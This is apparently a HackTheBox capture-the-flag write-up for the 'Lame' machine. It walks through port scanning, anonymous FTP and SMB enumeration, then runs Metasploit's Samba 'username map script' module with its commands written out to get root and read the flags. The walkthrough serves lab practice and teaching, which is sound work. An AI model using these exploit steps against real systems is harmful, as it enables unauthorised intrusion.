Lame

Lame writeup by Thamizhiniyan C S

Overview

Hello everyone, In this writeup we are going to solve Lame from HackTheBox.

Link for the machine : https://app.hackthebox.com/machines/1

Lets Start 🙌

Connect to the HTB server by using the OpenVpn configuration file that’s generated by HTB.

[ Click Here to learn more about how to connect to vpn and access the boxes. ]

After connecting to the vpn service, click on Join Machine to access the machine’s ip.

After joining the machine you can see the IP Address of the target machine.

---

Reconnaissance

Rustscan

First start the reconnaissance by running rustscan on the target IP address.

Command: rustscan -a 10.10.10.3 -- -A -Pn

Results

From the results, we got the following ports and services running:

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH 4.7p1
139	netbios-ssn	Samba smbd 3.X - 4.X
445	netbios-ssn	Samba smbd 3.X - 4.X
3632	distccd	distccd v1

---

Enumerating FTP

First, I started enumerating the FTP service running on Port 21.

From the scan results, we can see that the Anonymous login is allowed for FTP.

So I tried to login as Anonymous

Command: ftp 10.10.10.3

username: Anonymous

Password: Anonymous

Found nothing in the FTP anonymous Login.

---

Enumerating SMB

Next I started to enumerate SMB service running on port 139. I used enum4linux tool to enumerate.

Command: enum4linux -a 10.10.10.3

From the response of enum4linux, I didn’t found any interesting shares.

---

Initial Access

Next, I searched for exploits for the samba version: Samba smbd 3.X - 4.X and found the this version is vulnerable to command execution.

Samba "username map script" Command ExecutionRapid7

To use the above exploit, execute the commands in msfconsole as follows:

use exploit/multi/samba/usermap_script

set RHOSTS 10.10.10.3

set LHOST tun0 ( Here tun0 is your hackthebox vpn tunnel IP )

run

---

Getting the User Flag

Now we have got access to the target machine as root. I searched for the user flag using the following command:

command: find / -name user.txt

And we have found the user flag.

---

Getting the Root Flag

Now I searched for the root flag using the same method and found the root flag:

We have successfully found all the flags.

Thank You !!!